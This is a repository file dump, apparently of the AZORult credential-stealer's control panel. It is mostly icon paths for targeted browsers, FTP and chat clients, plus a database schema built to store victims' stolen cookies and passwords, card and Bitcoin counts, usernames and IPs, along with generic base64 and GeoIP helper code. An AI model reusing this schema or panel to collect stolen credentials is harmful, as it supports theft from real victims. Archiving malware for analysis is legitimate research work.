https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ws.png
--------------------------------------------------------------------------------
/panel/img/flags/ye.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ye.png
--------------------------------------------------------------------------------
/panel/img/flags/yt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/yt.png
--------------------------------------------------------------------------------
/panel/img/flags/za.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/za.png
--------------------------------------------------------------------------------
/panel/img/flags/zm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/zm.png
--------------------------------------------------------------------------------
/panel/img/flags/zw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/zw.png
--------------------------------------------------------------------------------
/panel/img/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/logo.png
--------------------------------------------------------------------------------
/panel/img/softs/360Browser.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/360Browser.png
--------------------------------------------------------------------------------
/panel/img/softs/7Star.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/7Star.png
--------------------------------------------------------------------------------
/panel/img/softs/Amigo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Amigo.png
--------------------------------------------------------------------------------
/panel/img/softs/Brave.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Brave.png
--------------------------------------------------------------------------------
/panel/img/softs/Bromium.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Bromium.png
--------------------------------------------------------------------------------
/panel/img/softs/CentBrowser.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/CentBrowser.png
--------------------------------------------------------------------------------
/panel/img/softs/Chedot.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Chedot.png
--------------------------------------------------------------------------------
/panel/img/softs/Chromium.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Chromium.png
--------------------------------------------------------------------------------
/panel/img/softs/CocCoc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/CocCoc.png
--------------------------------------------------------------------------------
/panel/img/softs/ComodoDragon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/ComodoDragon.png
--------------------------------------------------------------------------------
/panel/img/softs/Cyberfox.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Cyberfox.png
--------------------------------------------------------------------------------
/panel/img/softs/ElementsBrowser.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/ElementsBrowser.png
--------------------------------------------------------------------------------
/panel/img/softs/Epic.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Epic.png
--------------------------------------------------------------------------------
/panel/img/softs/FileZilla.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/FileZilla.png
--------------------------------------------------------------------------------
/panel/img/softs/GoBrowser.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/GoBrowser.png
--------------------------------------------------------------------------------
/panel/img/softs/GoogleChrome.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/GoogleChrome.png
--------------------------------------------------------------------------------
/panel/img/softs/GoogleChrome64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/GoogleChrome64.png
--------------------------------------------------------------------------------
/panel/img/softs/IceDragon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/IceDragon.png
--------------------------------------------------------------------------------
/panel/img/softs/InternetExplorer.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/InternetExplorer.png
--------------------------------------------------------------------------------
/panel/img/softs/InternetMailRu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/InternetMailRu.png
--------------------------------------------------------------------------------
/panel/img/softs/Kometa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Kometa.png
--------------------------------------------------------------------------------
/panel/img/softs/MicrosoftEdge.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/MicrosoftEdge.png
--------------------------------------------------------------------------------
/panel/img/softs/MozillaFireFox.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/MozillaFireFox.png
--------------------------------------------------------------------------------
/panel/img/softs/Mustang.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Mustang.png
--------------------------------------------------------------------------------
/panel/img/softs/Nichrome.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Nichrome.png
--------------------------------------------------------------------------------
/panel/img/softs/Opera.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Opera.png
--------------------------------------------------------------------------------
/panel/img/softs/Orbitum.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Orbitum.png
--------------------------------------------------------------------------------
/panel/img/softs/Outlook.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Outlook.png
--------------------------------------------------------------------------------
/panel/img/softs/PaleMoon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/PaleMoon.png
--------------------------------------------------------------------------------
/panel/img/softs/Pidgin.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Pidgin.png
--------------------------------------------------------------------------------
/panel/img/softs/Psi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Psi.png
--------------------------------------------------------------------------------
/panel/img/softs/PsiPlus.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/PsiPlus.png
--------------------------------------------------------------------------------
/panel/img/softs/QIPSurf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/QIPSurf.png
--------------------------------------------------------------------------------
/panel/img/softs/RockMelt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/RockMelt.png
--------------------------------------------------------------------------------
/panel/img/softs/SaferBrowser.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/SaferBrowser.png
--------------------------------------------------------------------------------
/panel/img/softs/Sputnik.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Sputnik.png
--------------------------------------------------------------------------------
/panel/img/softs/Suhba.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Suhba.png
--------------------------------------------------------------------------------
/panel/img/softs/Superbird.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Superbird.png
--------------------------------------------------------------------------------
/panel/img/softs/ThunderBird.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/ThunderBird.png
--------------------------------------------------------------------------------
/panel/img/softs/TorBro.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/TorBro.png
--------------------------------------------------------------------------------
/panel/img/softs/Torch.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Torch.png
--------------------------------------------------------------------------------
/panel/img/softs/Uran.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Uran.png
--------------------------------------------------------------------------------
/panel/img/softs/Vivaldi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Vivaldi.png
--------------------------------------------------------------------------------
/panel/img/softs/Waterfox.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Waterfox.png
--------------------------------------------------------------------------------
/panel/img/softs/WinSCP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/WinSCP.png
--------------------------------------------------------------------------------
/panel/img/softs/YandexBrowser.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/YandexBrowser.png
--------------------------------------------------------------------------------
/panel/img/st.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/st.png
--------------------------------------------------------------------------------
/panel/img/tool.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/tool.png
--------------------------------------------------------------------------------
/panel/img/win/10.0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/10.0.png
--------------------------------------------------------------------------------
/panel/img/win/10.0s.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/10.0s.png
--------------------------------------------------------------------------------
/panel/img/win/5.1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/5.1.png
--------------------------------------------------------------------------------
/panel/img/win/5.2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/5.2.png
--------------------------------------------------------------------------------
/panel/img/win/5.2s.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/5.2s.png
--------------------------------------------------------------------------------
/panel/img/win/6.0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.0.png
--------------------------------------------------------------------------------
/panel/img/win/6.0s.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.0s.png
--------------------------------------------------------------------------------
/panel/img/win/6.1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.1.png
--------------------------------------------------------------------------------
/panel/img/win/6.1s.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.1s.png
--------------------------------------------------------------------------------
/panel/img/win/6.2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.2.png
--------------------------------------------------------------------------------
/panel/img/win/6.2s.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.2s.png
--------------------------------------------------------------------------------
/panel/img/win/6.3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.3.png
--------------------------------------------------------------------------------
/panel/img/win/6.3s.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.3s.png
--------------------------------------------------------------------------------
/panel/info/dump.sql:
--------------------------------------------------------------------------------
1 | -- phpMyAdmin SQL Dump
2 | -- version 4.5.1
3 | -- http://www.phpmyadmin.net
4 | --
5 | -- Версия сервера: 10.1.8-MariaDB
6 | -- Версия PHP: 5.5.30
7 |
8 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
9 | SET time_zone = "+00:00";
10 |
11 |
12 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
13 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
14 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
15 | /*!40101 SET NAMES utf8 */;
16 |
17 | --
18 | -- База данных: `azorult2`
19 | --
20 |
21 | -- --------------------------------------------------------
22 |
23 | --
24 | -- Структура таблицы `cookies`
25 | --
26 |
27 | CREATE TABLE `cookies` (
28 | `domain` varchar(300) NOT NULL DEFAULT '?',
29 | `r_id` int(11) DEFAULT NULL,
30 | `id` int(11) NOT NULL
31 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
32 |
33 | -- --------------------------------------------------------
34 |
35 | --
36 | -- Структура таблицы `passwords`
37 | --
38 |
39 | CREATE TABLE `passwords` (
40 | `p_soft_type` int(11) NOT NULL DEFAULT '1',
41 | `p_soft_name` varchar(30) NOT NULL DEFAULT '?',
42 | `p_p1` varchar(300) NOT NULL DEFAULT ' ',
43 | `p_p2` varchar(300) NOT NULL DEFAULT ' ',
44 | `p_p3` varchar(300) NOT NULL DEFAULT ' ',
45 | `p_p4` varchar(300) NOT NULL DEFAULT ' ',
46 | `r_id` int(11) DEFAULT NULL
47 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
48 |
49 | -- --------------------------------------------------------
50 |
51 | --
52 | -- Структура таблицы `reports`
53 | --
54 |
55 | CREATE TABLE `reports` (
56 | `r_id` int(11) NOT NULL,
57 | `m_id` varchar(300) NOT NULL DEFAULT '?',
58 | `ip` varchar(30) NOT NULL DEFAULT '?',
59 | `country` varchar(10) NOT NULL DEFAULT '?',
60 | `date` date NOT NULL DEFAULT '0000-00-00',
61 | `time` time NOT NULL DEFAULT '00:00:00',
62 | `compname` varchar(260) NOT NULL DEFAULT '?',
63 | `username` varchar(300) NOT NULL DEFAULT '?',
64 | `os_name` varchar(260) NOT NULL DEFAULT '?',
65 | `os_arch` varchar(10) NOT NULL DEFAULT '?',
66 | `os_ver` varchar(10) NOT NULL DEFAULT '?',
67 | `files_count` int(11) NOT NULL DEFAULT '0',
68 | `btc_count` int(11) NOT NULL DEFAULT '0',
69 | `cc_count` int(11) NOT NULL DEFAULT '0',
70 | `passwords_count` int(11) NOT NULL DEFAULT '0',
71 | `bin_type` varchar(2) NOT NULL DEFAULT 'E',
72 | `bin_rights` varchar(2) NOT NULL DEFAULT '?',
73 | `comment` varchar(300) NOT NULL DEFAULT ' ',
74 | `filename` varchar(260) NOT NULL DEFAULT 'no',
75 | `trashed` tinyint(1) NOT NULL DEFAULT '0'
76 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
77 |
78 | --
79 | -- Индексы сохранённых таблиц
80 | --
81 |
82 | --
83 | -- Индексы таблицы `cookies`
84 | --
85 | ALTER TABLE `cookies`
86 | ADD PRIMARY KEY (`id`);
87 |
88 | --
89 | -- Индексы таблицы `reports`
90 | --
91 | ALTER TABLE `reports`
92 | ADD PRIMARY KEY (`r_id`);
93 |
94 | --
95 | -- AUTO_INCREMENT для сохранённых таблиц
96 | --
97 |
98 | --
99 | -- AUTO_INCREMENT для таблицы `cookies`
100 | --
101 | ALTER TABLE `cookies`
102 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
103 | --
104 | -- AUTO_INCREMENT для таблицы `reports`
105 | --
106 | ALTER TABLE `reports`
107 | MODIFY `r_id` int(11) NOT NULL AUTO_INCREMENT;
108 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
109 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
110 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
111 |
--------------------------------------------------------------------------------
/panel/js/base64.js:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | * Base64 encode / decode
4 | * http://www.webtoolkit.info/
5 | *
6 | **/
7 |
8 | var Base64 = {
9 |
10 | // private property
11 | _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
12 |
13 | // public method for encoding
14 | encode : function (input) {
15 | var output = "";
16 | var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
17 | var i = 0;
18 |
19 | input = Base64._utf8_encode(input);
20 |
21 | while (i < input.length) {
22 |
23 | chr1 = input.charCodeAt(i++);
24 | chr2 = input.charCodeAt(i++);
25 | chr3 = input.charCodeAt(i++);
26 |
27 | enc1 = chr1 >> 2;
28 | enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
29 | enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
30 | enc4 = chr3 & 63;
31 |
32 | if (isNaN(chr2)) {
33 | enc3 = enc4 = 64;
34 | } else if (isNaN(chr3)) {
35 | enc4 = 64;
36 | }
37 |
38 | output = output +
39 | this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
40 | this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
41 |
42 | }
43 |
44 | return output;
45 | },
46 |
47 | // public method for decoding
48 | decode : function (input) {
49 | var output = "";
50 | var chr1, chr2, chr3;
51 | var enc1, enc2, enc3, enc4;
52 | var i = 0;
53 |
54 | input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
55 |
56 | while (i < input.length) {
57 |
58 | enc1 = this._keyStr.indexOf(input.charAt(i++));
59 | enc2 = this._keyStr.indexOf(input.charAt(i++));
60 | enc3 = this._keyStr.indexOf(input.charAt(i++));
61 | enc4 = this._keyStr.indexOf(input.charAt(i++));
62 |
63 | chr1 = (enc1 << 2) | (enc2 >> 4);
64 | chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
65 | chr3 = ((enc3 & 3) << 6) | enc4;
66 |
67 | output = output + String.fromCharCode(chr1);
68 |
69 | if (enc3 != 64) {
70 | output = output + String.fromCharCode(chr2);
71 | }
72 | if (enc4 != 64) {
73 | output = output + String.fromCharCode(chr3);
74 | }
75 |
76 | }
77 |
78 | output = Base64._utf8_decode(output);
79 |
80 | return output;
81 |
82 | },
83 |
84 | // private method for UTF-8 encoding
85 | _utf8_encode : function (string) {
86 | string = string.replace(/\r\n/g,"\n");
87 | var utftext = "";
88 |
89 | for (var n = 0; n < string.length; n++) {
90 |
91 | var c = string.charCodeAt(n);
92 |
93 | if (c < 128) {
94 | utftext += String.fromCharCode(c);
95 | }
96 | else if((c > 127) && (c < 2048)) {
97 | utftext += String.fromCharCode((c >> 6) | 192);
98 | utftext += String.fromCharCode((c & 63) | 128);
99 | }
100 | else {
101 | utftext += String.fromCharCode((c >> 12) | 224);
102 | utftext += String.fromCharCode(((c >> 6) & 63) | 128);
103 | utftext += String.fromCharCode((c & 63) | 128);
104 | }
105 |
106 | }
107 |
108 | return utftext;
109 | },
110 |
111 | // private method for UTF-8 decoding
112 | _utf8_decode : function (utftext) {
113 | var string = "";
114 | var i = 0;
115 | var c = c1 = c2 = 0;
116 |
117 | while ( i < utftext.length ) {
118 |
119 | c = utftext.charCodeAt(i);
120 |
121 | if (c < 128) {
122 | string += String.fromCharCode(c);
123 | i++;
124 | }
125 | else if((c > 191) && (c < 224)) {
126 | c2 = utftext.charCodeAt(i+1);
127 | string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
128 | i += 2;
129 | }
130 | else {
131 | c2 = utftext.charCodeAt(i+1);
132 | c3 = utftext.charCodeAt(i+2);
133 | string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
134 | i += 3;
135 | }
136 |
137 | }
138 |
139 | return string;
140 | }
141 |
142 | }
143 |
--------------------------------------------------------------------------------
/panel/js/snippets.js:
--------------------------------------------------------------------------------
1 |
2 |
3 | function deleteRowsss(s, r)
4 | {
5 | var i = r.parentNode.parentNode.rowIndex;
6 | document.getElementById(s).deleteRow(i);
7 | };
8 |
9 | function deleteRow(r) {
10 | var i = r.parentNode.parentNode.rowIndex;
11 | document.getElementById("reportsgrid").deleteRow(i);
12 | }
13 |
14 |
15 |
--------------------------------------------------------------------------------
/panel/links.txt:
--------------------------------------------------------------------------------
1 | %mail%
--------------------------------------------------------------------------------
/panel/modules/bin/bin.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/modules/bin/bin.bin
--------------------------------------------------------------------------------
/panel/modules/maxmind/GeoLite2-Country.mmdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/modules/maxmind/GeoLite2-Country.mmdb
--------------------------------------------------------------------------------
/panel/modules/maxmind/maxmind.php:
--------------------------------------------------------------------------------
1 | 'extended',
14 | 1 => 'pointer',
15 | 2 => 'utf8_string',
16 | 3 => 'double',
17 | 4 => 'bytes',
18 | 5 => 'uint16',
19 | 6 => 'uint32',
20 | 7 => 'map',
21 | 8 => 'int32',
22 | 9 => 'uint64',
23 | 10 => 'uint128',
24 | 11 => 'array',
25 | 12 => 'container',
26 | 13 => 'end_marker',
27 | 14 => 'boolean',
28 | 15 => 'float',
29 | ];
30 |
31 | public function __construct(
32 | $fileStream,
33 | $pointerBase = 0,
34 | $pointerTestHack = false
35 | ) {
36 | $this->fileStream = $fileStream;
37 | $this->pointerBase = $pointerBase;
38 | $this->pointerTestHack = $pointerTestHack;
39 |
40 | $this->switchByteOrder = $this->isPlatformLittleEndian();
41 | }
42 |
43 | public function decode($offset)
44 | {
45 | list(, $ctrlByte) = unpack(
46 | 'C',
47 | Util::read($this->fileStream, $offset, 1)
48 | );
49 | $offset++;
50 |
51 | $type = $this->types[$ctrlByte >> 5];
52 |
53 | // Pointers are a special case, we don't read the next $size bytes, we
54 | // use the size to determine the length of the pointer and then follow
55 | // it.
56 | if ($type === 'pointer') {
57 | list($pointer, $offset) = $this->decodePointer($ctrlByte, $offset);
58 |
59 | // for unit testing
60 | if ($this->pointerTestHack) {
61 | return [$pointer];
62 | }
63 |
64 | list($result) = $this->decode($pointer);
65 |
66 | return [$result, $offset];
67 | }
68 |
69 | if ($type === 'extended') {
70 | list(, $nextByte) = unpack(
71 | 'C',
72 | Util::read($this->fileStream, $offset, 1)
73 | );
74 |
75 | $typeNum = $nextByte + 7;
76 |
77 | if ($typeNum < 8) {
78 | throw new InvalidDatabaseException(
79 | 'Something went horribly wrong in the decoder. An extended type '
80 | . 'resolved to a type number < 8 ('
81 | . $this->types[$typeNum]
82 | . ')'
83 | );
84 | }
85 |
86 | $type = $this->types[$typeNum];
87 | $offset++;
88 | }
89 |
90 | list($size, $offset) = $this->sizeFromCtrlByte($ctrlByte, $offset);
91 |
92 | return $this->decodeByType($type, $offset, $size);
93 | }
94 |
95 | private function decodeByType($type, $offset, $size)
96 | {
97 | switch ($type) {
98 | case 'map':
99 | return $this->decodeMap($size, $offset);
100 | case 'array':
101 | return $this->decodeArray($size, $offset);
102 | case 'boolean':
103 | return [$this->decodeBoolean($size), $offset];
104 | }
105 |
106 | $newOffset = $offset + $size;
107 | $bytes = Util::read($this->fileStream, $offset, $size);
108 | switch ($type) {
109 | case 'utf8_string':
110 | return [$this->decodeString($bytes), $newOffset];
111 | case 'double':
112 | $this->verifySize(8, $size);
113 |
114 | return [$this->decodeDouble($bytes), $newOffset];
115 | case 'float':
116 | $this->verifySize(4, $size);
117 |
118 | return [$this->decodeFloat($bytes), $newOffset];
119 | case 'bytes':
120 | return [$bytes, $newOffset];
121 | case 'uint16':
122 | case 'uint32':
123 | return [$this->decodeUint($bytes), $newOffset];
124 | case 'int32':
125 | return [$this->decodeInt32($bytes), $newOffset];
126 | case 'uint64':
127 | case 'uint128':
128 | return [$this->decodeBigUint($bytes, $size), $newOffset];
129 | default:
130 | throw new InvalidDatabaseException(
131 | 'Unknown or unexpected type: ' . $type
132 | );
133 | }
134 | }
135 |
136 | private function verifySize($expected, $actual)
137 | {
138 | if ($expected !== $actual) {
139 | throw new InvalidDatabaseException(
140 | "The MaxMind DB file's data section contains bad data (unknown data type or corrupt data)"
141 | );
142 | }
143 | }
144 |
145 | private function decodeArray($size, $offset)
146 | {
147 | $array = [];
148 |
149 | for ($i = 0; $i < $size; $i++) {
150 | list($value, $offset) = $this->decode($offset);
151 | array_push($array, $value);
152 | }
153 |
154 | return [$array, $offset];
155 | }
156 |
157 | private function decodeBoolean($size)
158 | {
159 | return $size === 0 ? false : true;
160 | }
161 |
162 | private function decodeDouble($bits)
163 | {
164 | // XXX - Assumes IEEE 754 double on platform
165 | list(, $double) = unpack('d', $this->maybeSwitchByteOrder($bits));
166 |
167 | return $double;
168 | }
169 |
170 | private function decodeFloat($bits)
171 | {
172 | // XXX - Assumes IEEE 754 floats on platform
173 | list(, $float) = unpack('f', $this->maybeSwitchByteOrder($bits));
174 |
175 | return $float;
176 | }
177 |
178 | private function decodeInt32($bytes)
179 | {
180 | $bytes = $this->zeroPadLeft($bytes, 4);
181 | list(, $int) = unpack('l', $this->maybeSwitchByteOrder($bytes));
182 |
183 | return $int;
184 | }
185 |
186 | private function decodeMap($size, $offset)
187 | {
188 | $map = [];
189 |
190 | for ($i = 0; $i < $size; $i++) {
191 | list($key, $offset) = $this->decode($offset);
192 | list($value, $offset) = $this->decode($offset);
193 | $map[$key] = $value;
194 | }
195 |
196 | return [$map, $offset];
197 | }
198 |
199 | private $pointerValueOffset = [
200 | 1 => 0,
201 | 2 => 2048,
202 | 3 => 526336,
203 | 4 => 0,
204 | ];
205 |
